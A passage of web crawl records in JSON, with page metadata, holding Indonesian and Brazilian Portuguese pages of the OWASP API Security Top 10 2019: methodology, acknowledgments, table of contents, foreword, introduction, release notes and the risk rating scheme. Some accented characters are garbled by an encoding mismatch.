"ee4ae009f26f750ede9cb913d8ec2b93f6a2a9589524a73232243799888f36b8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Testing_Project", "https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xd0-about-data/", "titulek": "Metodologi dan Data - OWASP API Security Top 10", "h1": "Metodologi dan Data", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xd0-about-data/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Metodologi dan Data"}, {"uroven": 2, "text": "Ikhtisar"}, {"uroven": 2, "text": "Metodologi"}], "markdown": "# Metodologi dan Data\n\n## Ikhtisar\n\nKarena industri AppSec belum secara khusus difokuskan pada arsitektur aplikasi paling mutakhir, di mana API memainkan peran penting, menyusun daftar sepuluh risiko keamanan API paling kritis, berdasarkan panggilan data publik, akan menjadi tugas yang sulit. Meskipun tidak ada panggilan data publik, daftar Top 10 yang dihasilkan masih didasarkan pada data yang tersedia untuk publik, kontribusi pakar keamanan, dan diskusi terbuka dengan komunitas keamanan.\n\n## Metodologi\n\nPada fase pertama, data publik tentang insiden keamanan API dikumpulkan, ditinjau, dan dikategorikan oleh sekelompok pakar keamanan. Data tersebut dikumpulkan dari platform bug bounty dan basis data kerentanan, dalam rentang waktu satu tahun. Itu digunakan untuk tujuan statistik.\n\nPada fase berikutnya, praktisi keamanan dengan pengalaman penetration testing diminta untuk menyusun daftar Top 10 mereka sendiri.\n\n[OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) digunakan untuk melakukan Analisis Risiko. Skor didiskusikan dan ditinjau di antara praktisi keamanan. Untuk pertimbangan mengenai hal ini, harap merujuk pada bagian [API Security Risks](../0x10-api-security-risks/).\n\nDraf pertama OWASP API Security Top 10 2019 dihasilkan dari konsensus antara hasil statistik dari fase satu, dan daftar praktisi keamanan. Draf ini kemudian diserahkan untuk penghargaan dan tinjauan oleh kelompok praktisi keamanan lainnya, dengan pengalaman yang relevan di bidang keamanan API.\n\nOWASP API Security Top 10 2019 pertama kali dipresentasikan dalam acara OWASP Global AppSec Tel Aviv (Mei 2019). Sejak saat itu, telah tersedia di GitHub untuk diskusi publik dan kontribusi.\n\nDaftar kontributor tersedia di bagian [Penghargaan](../0xd1-acknowledgments/).", "znaku_textu": 1789, "slov": 234, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:13", "sha256": "67b6e82a7a4be62efe9fb002c5f6aca6ccdc5f973a9878d82d07de1464d942b2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xd1-acknowledgments/", "titulek": "Ucapan Terima Kasih - OWASP API Security Top 10", "h1": "Ucapan Terima Kasih", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xd1-acknowledgments/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Ucapan Terima Kasih"}, {"uroven": 2, "text": "Ucapan Terima Kasih kepada Kontributor"}], "markdown": "# Ucapan Terima Kasih\n\n## Ucapan Terima Kasih kepada Kontributor\n\nKami ingin berterima kasih kepada kontributor berikut yang berkontribusi secara publik di GitHub atau melalui cara lain:\n\n- 007divyachawla\n- Abid Khan\n- Adam Fisher\n- anotherik\n- bkimminich\n- caseysoftware\n- Chris Westphal\n- dsopas\n- DSotnikov\n- emilva\n- ErezYalon\n- faizzaidi\n- flascelles\n- Guillaume Benats\n- IgorSasovets\n- Inonshk\n- JonnySchnittger\n- jmanico\n- jmdx\n- Keith Casey\n- kozmic\n- LauraRosePorter\n- Matthieu Estrade\n- nathanawmk\n- PauloASilva\n- pentagramz\n- philippederyck\n- pleothaud\n- r00ter\n- Raj kumar\n- Sagar Popat\n- Stephen Gates\n- thomaskonrad\n- xycloops123", "znaku_textu": 602, "slov": 68, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:22", "sha256": "b37d9838d01a9435d89ea39effb0ab2b12f455f844184f96bc24463692d7a8a4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/", "titulek": "Os dez mais crĂ­ticos riscos de segurança de API - OWASP API Security Top 10", "h1": "Os dez mais crĂ­ticos riscos de segurança de API", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Os dez mais crĂ­ticos riscos de segurança de API"}, {"uroven": 2, "text": "Descrição"}, {"uroven": 2, "text": "LĂ­deres do Projeto"}, {"uroven": 2, "text": "Tradutores do Projeto"}, {"uroven": 2, "text": "Licenciamento"}], "markdown": "# Os dez mais crĂ­ticos riscos de segurança de API\n\nUma tradução para o portuguĂŞs do Brasil do projeto OWASP API Security Top 10.\n\nEste projeto ĂŠ desenhado para endereçar o contĂ­nuo aumento de organizaçþes que entregam dados potencialmente sensĂ­veis por meio de APIs em suas ofertas de software. Estas APIs sĂŁo utilizadas para tarefas internas e para interface com parceiros. Infelizmente, muitas APIs nĂŁo sĂŁo submetidas a testes rigorosos de segurança, o que pode colaborar a deixĂĄ-las inseguras Ă ataques.\n\nO projeto OWASP API Security Project procura entregar valor aos desenvolvedores de software e tambĂŠm aos profissionais de segurança pontuando os potenciais riscos de APIs inseguras, e ilustrar como tais riscos podem ser mitigados. Como uma maneira de facilitar este objetivo, o OWASP API Security Project irĂĄ criar e manter o documento com os dez principais riscos, bem como um portal com a documentação com as melhores prĂĄticas para criação e acesso de APIs.\n\n## Descrição\n\nEquanto trabalhĂĄvamos com desenvolvedores ou consultores da segurança da informação, muitas pessoas encontraram APIs como partes de seus projetos. Euquanto existem algumas fontes que apoiam na criação e avaliação desse tipo de projeto (como o projeto OWASP REST Security Cheat Sheet), nĂŁo havia um projeto destinado a assistir fabricantes, atacantes e defensores na comunidade.\n\nEste projeto tem como alvo:\n\n- Criar o documento OWASP Top Ten API Security Risks, o qual destacarĂĄ de forma fĂĄcil os riscos mais comuns de segurança na ĂĄrea das APIs.\n- Criar um portal de documentação para desenvolvedores a construĂ­rem APIs de forma segura.\n- Trabalhar prĂłximo Ă comunidade de segurança para manter vivos os documentos acompanhando as tendĂŞncias de segurança.\n\n## LĂ­deres do Projeto\n\n- [Erez Yalon](https://www.owasp.org/index.php/User:ErezYalon)\n- [Inon Shkedy](https://www.owasp.org/index.php/User:Inon)\n\n## Tradutores do Projeto\n\n**PortuguĂŞs do Brasil**\n\n- [Raphael Hagi](https://www.linkedin.com/in/raphael-hagi/)\n- [Eduardo Bellis](https://www.linkedin.com/in/eduardo-bellis-92482534/)\n- [Bruno Barbosa](https://www.linkedin.com/in/bbarbosa85/)\n\n## Licenciamento\n\n**Os documentos do OWASP API Security Project sĂŁo livres para uso!**\n\nO projeto OWASP API Security Project ĂŠ licenciado sob Atribuição-CompartilhaIgual 4.0 Internacional (CC BY-SA 4.0)][1](https://creativecommons.org/licenses/by-sa/4.0/deed.pt_BR), entĂŁo vocĂŞ pode copiar, distribuir e transmitir este trabalho. VocĂŞ tambĂŠm pode adaptĂĄ-lo e usĂĄ-lo comercialmente, desde que dĂŞ os crĂŠditos ao trabalho. Se vocĂŞ alterar, transformar ou construir algo a partir deste trabalho, vocĂŞ pode distribuir o fruto desse trabalho apenas sob a mesma licença deste ou licença similar.", "znaku_textu": 2746, "slov": 373, "odkazu": 166, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:20", "sha256": "6b3ae59f631f69618daeae615909f75ab0fc41420a750f9cc2e436f232b4d3d3", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/User:ErezYalon", "https://www.owasp.org/index.php/User:Inon", "https://www.linkedin.com/in/raphael-hagi/", "https://www.linkedin.com/in/eduardo-bellis-92482534/", "https://www.linkedin.com/in/bbarbosa85/", "https://creativecommons.org/licenses/by-sa/4.0/deed.pt_BR", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "Os dez mais crĂ­ticos riscos de segurança de API", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0x00-header/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Os dez mais crĂ­ticos riscos de segurança de API"}], "markdown": "# Os dez mais crĂ­ticos riscos de segurança de API\n\nUma tradução para o portuguĂŞs do Brasil do projeto original \"The Ten Most Critical API Security Risks\"\n\nMarch 10th, 2020\n\n| | | |\n| --- | --- | --- |\n| https://owasp.org | Este trabalho ĂŠ licenciado sob a [Atribuição-CompartilhaIgual 4.0 Internacional (CC BY-SA 4.0)](https://creativecommons.org/licenses/by-sa/4.0/deed.pt_BR) | |", "znaku_textu": 354, "slov": 45, "odkazu": 157, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:11:00", "sha256": "7b93743969171329fa71d8d5211671ff044698f63a86878477bb8c56a4a00ace", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://creativecommons.org/licenses/by-sa/4.0/deed.pt_BR", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0x00-notice/", "titulek": "Nota - OWASP API Security Top 10", "h1": "Nota", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0x00-notice/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Nota"}], "markdown": "# Nota\n\nEsta ĂŠ a versĂŁo em formato texto do projeto \"OWASP API Security Top 10\", sendo utilizado como fonte da versĂŁo oficial distribuĂ­da no formato PDF.\n\nContribuiçþes com o projeto, tais como comentĂĄrios, correçþes ou traduçþes devem ser feitos por aqui. Para mais detalhes, veja o ducumento [Como contribuir](../CONTRIBUTING/), consulte tambĂŠm o documento [CONTRIBUTING.md](../CONTRIBUTING/).\n\n- Erez Yallon\n- Inon Shkedy", "znaku_textu": 429, "slov": 58, "odkazu": 155, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:23", "sha256": "e84100ac6b6973424ee8d0b0cd87677c7e15ff3bbed5e1d76f68cf1a5f0841b5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0x00-toc/", "titulek": "Tabela de conteĂşdo - OWASP API Security Top 10", "h1": "Tabela de conteĂşdo", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0x00-toc/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Tabela de conteĂşdo"}], "markdown": "# Tabela de conteĂşdo\n\n- [Tabela de conteĂşdo](./)\n- [Sobre o OWASP](../0x01-about-owasp/)\n- [PrefĂĄcio](../0x02-foreword/)\n- [Introdução](../0x03-introduction/)\n- [Notas da VersĂŁo](../0x04-release-notes/)\n- [Riscos de Segurança de API](../0x10-api-security-risks/)\n- [OWASP Top 10 Riscos de Segurança de API – 2019](../0x11-t10/)\n- [API1:2019 Broken Object Level Authorization](../0xa1-broken-object-level-authorization/)\n- [API2:2019 Broken User Authentication](../0xa2-broken-user-authentication/)\n- [API3:2019 Excessive Data Exposure](../0xa3-excessive-data-exposure/)\n- [API4:2019 Lack of Resources & Rate Limiting](../0xa4-lack-of-resources-and-rate-limiting/)\n- [API5:2019 Broken Function Level Authorization](../0xa5-broken-function-level-authorization/)\n- [API6:2019 Mass Assignment](../0xa6-mass-assignment/)\n- [API7:2019 Security Misconfiguration](../0xa7-security-misconfiguration/)\n- [API8:2019 Injection](../0xa8-injection/)\n- [API9:2019 Improper Assets Management](../0xa9-improper-assets-management/)\n- [API10:2019 Insufficient Logging & Monitoring](../0xaa-insufficient-logging-monitoring/)\n- [PrĂłximos passos para Desenvolvedores](../0xb0-next-devs/)\n- [PrĂłximos passos para DevSecOps](../0xb1-next-devsecops/)\n- [Metodologia e Dados](../0xd0-about-data/)\n- [Agradecimentos](../0xd1-acknowledgments/)", "znaku_textu": 1303, "slov": 131, "odkazu": 155, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:32", "sha256": "8c89724f12eb02ee3fdc3545abc3c0cc156d27df1ae8244ad66452e7d1fa9f0b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0x01-about-owasp/", "titulek": "Sobre o OWASP - OWASP API Security Top 10", "h1": "Sobre o OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0x01-about-owasp/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Sobre o OWASP"}, {"uroven": 2, "text": "Licença e Copyright"}], "markdown": "# Sobre o OWASP\n\nOWASP ĂŠ o acrĂ´nimo em inglĂŞs para \"Open Web Application Security Project\", ĂŠ uma comunidade aberta, dedicada a habilitar as organizaçþes a desenvolver, comprar e manter aplicaçþes e APIs que podem ser confiĂĄveis.\n\nNo OWASP, vocĂŞ irĂĄ encontrar de forma gratuita e aberta:\n\n- Ferramentas e padrĂľes de segurança de aplicativos.\n- Livros completos sobre testes de segurança de aplicativos, desenvolvimento seguro de cĂłdigo e revisĂŁo de cĂłdigo seguro.\n- Apresentaçþes e [vĂ­deos](https://www.youtube.com/user/OWASPGLOBAL) .\n- [Cheat sheets](https://owasp.org/www-project-cheat-sheets/) em diversos tĂłpicos.\n- PadrĂľes de controles de segurança e bibliotecas.\n- [CapĂ­tulos locais em todo o mundo](https://owasp.org/chapters/) .\n- Pesquisas inovadoras.\n- Extensivas [conferĂŞncias ao redor do mundo](https://wiki.owasp.org/index.php/Category:OWASP_AppSec_Conference) .\n- [Listas de e-mail](https://lists.owasp.org/mailman/listinfo) .\n\nSaiba mais em: [https://www.owasp.org](https://owasp.org/).\n\nNo OWASP, todas as ferramentas, documentaçþes, vĂ­deos, apresentaçþes e capĂ­tulos sĂŁo gratuitos e abertos para qualquer um interessado em melhorar a segurança de aplicaçþes\n\nNĂłs advogamos a abordagem da segurança das aplicaçþes como um problema de pessoas, processos e tecnologia, uma vez que as abordagens mais efetivas na segurança de aplicaçþes necessitam de melhorias nestas ĂĄreas.\n\nO OWASP ĂŠ um novo tipo de organização. Nossa independĂŞncia de pressĂŁo comercial permite-nos prover informaçþes e prĂĄticas livres de vieses e de efetivo custo benefĂ­cio sobre segurança de aplicaçþes.\n\nO OWASP nĂŁo ĂŠ afiliado a qualquer empresa de tecnologia, embora nosso suporte ao uso de tecnologias comercias. O OWASP produz diversos materiais de forma colaborativa, transparente e aberta.\n\nA Fundação OWASP ĂŠ uma entidade nĂŁo comercial, que encoraja projetos de sucesso hĂĄ muito tempo. Praticamente todos os envolvidos com o OWASP sĂŁo voluntĂĄrios, incluindo os que integram a diretoria, lĂ­deres de capĂ­tulos, lĂ­deres de projetos e membros de cada projeto. NĂłs apoiamos pesquisas inovadoras de segurança com doaçþes e infraestrutura.\n\nVenha conosco!\n\n## Licença e Copyright\n\nCopyright Š 2003-2019 The OWASP Foundation. Este documento ĂŠ liberado sob a [Atribuição-CompartilhaIgual 4.0 Internacional (CC BY-SA 4.0)](https://creativecommons.org/licenses/by-sa/4.0/deed.pt_BR). Para qualquer reuso ou distribuição, tenha certeza Ă terceiros os termos deste trabalho.", "znaku_textu": 2505, "slov": 322, "odkazu": 163, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:41", "sha256": "f8a2d38ff2b410bbe3777467f2470ca5cbf2ad3dc03e5ebefa2cb794f1e326bb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://wiki.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://lists.owasp.org/mailman/listinfo", "https://creativecommons.org/licenses/by-sa/4.0/deed.pt_BR", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0x02-foreword/", "titulek": "PrefĂĄcio - OWASP API Security Top 10", "h1": "PrefĂĄcio", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0x02-foreword/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "PrefĂĄcio"}], "markdown": "# PrefĂĄcio\n\nElemento fundamental na inovação nas soluçþes *app-driven* nos dias de hoje sĂŁo as APIs (*Application Programming Interface*). Desde os bancos, lojas, transportes, IoT, veĂ­culos autĂ´nomos e cidades inteligentes, as APIs sĂŁo parte crĂ­tica de soluçþes modernas de mĂłvel, SaaS, aplicaçþes web em geral, e podem ser encontradas em interfaces com o cliente, parceiros e aplicaçþes internas.\n\nPor natureza, as APIs expĂľem a lĂłgica dos aplicativos e dados sensĂ­veis, inclusive, dados pessoais sensĂ­veis, e por esta razĂŁo, as APIs vem se tornando cada vez mais alvo de atacantes. Sem APIs seguras, inovaçþes podem se tornar impossĂ­veis.\n\nEmbora uma ampla avaliação de Top 10 a respeito da segurança de aplicaçþes faça sentido, em razĂŁo de suas particularidades, uma lista de riscos de segurança especĂ­fica para APIs tambĂŠm ĂŠ um requisito. A segurança de APIs tem foco em estratĂŠgias e soluçþes para a compreensĂŁo e mitigação de vulnerabilidades Ăşnicas associadas Ă s APIs.\n\nSe vocĂŞ ĂŠ familiarizado com o projeto [OWASP Top 10](https://owasp.org/www-project-top-ten/), irĂĄ perceber similaridades entre os dois documentos: Isto ĂŠ intencional para facilitar a compreensĂŁo e adoção. Se vocĂŞ ĂŠ um novato nas sĂŠries Top 10 do OWASP, talvez seja melhor vocĂŞ ler atentamente as seçþes [Riscos de Segurança de API](../0x10-api-security-risks/) e [Metodologia e Dados](../0xd0-about-data/) antes.\n\nVocĂŞ pode contribuir com o projeto OWASP API Security Top 10 com questionamentos, comentĂĄrios e ideias por meio do repositĂłrio do projeto no GitHub:\n\n- https://github.com/OWASP/API-Security/issues\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nVocĂŞ encontra o OWASP API Security Top 10 aqui:\n\n- https://owasp.org/www-project-api-security/\n- https://github.com/OWASP/API-Security\n\nNĂłs gostarĂ­amos de agradecer a todos colaboradores que fizeram este projeto possĂ­vel com seus esforços e contribuiçþes. Todos que participaram estĂŁo listados na seção [Agradecimentos](../0xd1-acknowledgments/). Obrigado!", "znaku_textu": 2068, "slov": 287, "odkazu": 156, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:50", "sha256": "d901866824b9f57e7d25183ede5ecddb98b732c44bc89bb6a2e643e8238f38b4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0x03-introduction/", "titulek": "Introdução - OWASP API Security Top 10", "h1": "Introdução", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0x03-introduction/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introdução"}, {"uroven": 2, "text": "Seja bem-vindo ao OWASP API Security Top 10 - 2019!"}], "markdown": "# Introdução\n\n## Seja bem-vindo ao OWASP API Security Top 10 - 2019!\n\nSeja bem-vindo Ă primeira edição do projeto OWASP API Security Top 10. Se vocĂŞ estĂĄ familiarizado com a sĂŠrie Top 10 do OWASP, irĂĄ perceber certas similaridades: elas sĂŁo intencionais para melhor leitura a adoção. Se nĂŁo ĂŠ o seu caso, considere visitar a [wiki](https://owasp.org/www-project-api-security/) do projeto antes de mergulhar mais profundamente nos mais crĂ­ticos riscos de segurança de APIs.\n\nAs APIs possuem papel fundamental na arquitetura de aplicaçþes modernas. Inovação e consciĂŞncia de segurança possuem ritmos diferentes. É importante ter foco nas fraquezas mais comuns na segurança de APIs.\n\nO primeiro objetivo do projeto OWASP API Security Top 10 ĂŠ educar aqueles que estejam envolvidos no desenvolvimento e manutenção de APIs. Podem ser, por exemplo: desenvolvedores, designers, arquitetos, gerentes e organizaçþes.\n\nNa seção [Metodologia e Dados](../0xd0-about-data/) vocĂŞ pode ler mais a respeito de como esta primeira versĂŁo foi criada. Em futuras versĂľes, desejamos envolver a indĂşstria da segurança com uma chamada pĂşblica para contribuição de dados. Por ora, nĂłs encorajamos todos que possam contribuir com questionamentos, comentĂĄrios e ideias em nosso [repositĂłrio no GitHub](https://github.com/OWASP/API-Security) ou nossa [lista de e-mails](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project).", "znaku_textu": 1447, "slov": 202, "odkazu": 158, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:59", "sha256": "4393a046954eabdbafb08cea03add6ebd2bcc782b80895dcc8aadf93119c0dfd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0x04-release-notes/", "titulek": "Notas da VersĂŁo - OWASP API Security Top 10", "h1": "Notas da VersĂŁo", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0x04-release-notes/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Notas da VersĂŁo"}], "markdown": "# Notas da VersĂŁo\n\nEsta ĂŠ a primeira edição do projeto OWASP API Security Top 10, que desejamos que seja atualizado periodicamente a cada trĂŞs ou quatro anos.\n\nAo contrĂĄrio dessa versĂŁo, para o futuro, desejamos fazer uma chamada pĂşblica por dados e envolver a indĂşstria de segurança neste esforço. Na seção [Metodologia e Dados](../0xd0-about-data/) vocĂŞ irĂĄ encontrar mais detalhes a respeito de como esta versĂŁo foi construĂ­da. Para mais detalhes a respeito de riscos de segurança, consulte a seção [Riscos de Segurança de API](../0x10-api-security-risks/).\n\nÉ importante realizar que durante os Ăşltimos anos a arquitetura das aplicaçþes foram significativamente modificadas. Atualmente, as APIs representam um papel muito importante nessa nova arquitetura de microserviços, *single page applications*, aplicativos mĂłveis, IoT e etc.\n\nO projeto OWASP Security Top 10 foi um esforço necessĂĄrio para criar uma consciĂŞncia a respeito de problemas de segurança de APIs. Este projeto sĂł foi possĂ­vel com o esforço de diversos voluntĂĄrios, todos listados na seção [Agradecimentos](../0xd1-acknowledgments/). Obrigado!", "znaku_textu": 1144, "slov": 166, "odkazu": 155, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:08", "sha256": "8be6ef86abb0cb66a5b8101a21ec973b43f1c51c5cbe84817e7d4854ba825119", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0x10-api-security-risks/", "titulek": "Riscos de Segurança de API - OWASP API Security Top 10", "h1": "Riscos de Segurança de API", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0x10-api-security-risks/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Riscos de Segurança de API"}, {"uroven": 2, "text": "ReferĂŞncias"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# Riscos de Segurança de API\n\nA [Metodologia de Avaliação de Risco do OWASP](https://owasp.org/www-project-risk-assessment-framework/) foi adotada para a anĂĄlise dos riscos de API.\n\nA tabela abaixo resume a terminologia associada Ă pontuação de risco.\n\n| Agentes de Ameaça | Explorabilidade | PrevalĂŞncia da Fraqueza | Detecção da Fraqueza | Impacto TĂŠcnico | Impacto ao NegĂłcio |\n| --- | --- | --- | --- | --- | --- |\n| EspecĂ­fico da API | FĂĄcil: **3** | Difundida **3** | FĂĄcil **3** | Severo **3** | EspecĂ­fico do negĂłcio |\n| EspecĂ­fico da API | MĂŠdia: **2** | Comum **2** | MĂŠdia **2** | Moderado **2** | EspecĂ­fico do negĂłcio |\n| EspecĂ­fico da API | DifĂ­cil: **1** | DifĂ­cil **1** | DifĂ­cil **1** | Menor **1** | EspecĂ­fico do negĂłcio |\n\n**Nota**: Esta abordagem nĂŁo leva em consideração um agente de ameaça interno. TambĂŠm nĂŁo considera detalhes tĂŠcnicos associados Ă sua aplicação em especĂ­fico. Estes sĂŁo fatores que podem afetar de maneira significativa a probabilidade de um atacante encontrar e explorar vulnerabilidades especĂ­ficas. Esta classificação tambĂŠm nĂŁo avalia impactos ao seu negĂłcio. Sua organização terĂĄ que decidir quanto risco de segurança de aplicativos e APIs que a organização estĂĄ disposta a aceitar, dada sua cultura, indĂşstria e ambiente regulatĂłrio. O propĂłsito do OWASP API Security top 10 nĂŁo ĂŠ desenvolver uma anĂĄlise de risco por vocĂŞ.\n\n## ReferĂŞncias\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://owasp.org/www-project-risk-assessment-framework/)\n- [Article on Threat/Risk Modeling](https://owasp.org/www-community/Application_Threat_Modeling)\n\n### Externas\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 2000, "slov": 238, "odkazu": 166, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:17", "sha256": "edc69a05b1ce59dba3de461fe4b4232d07af69c942f1d23b1f8de85202a6c6f4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", 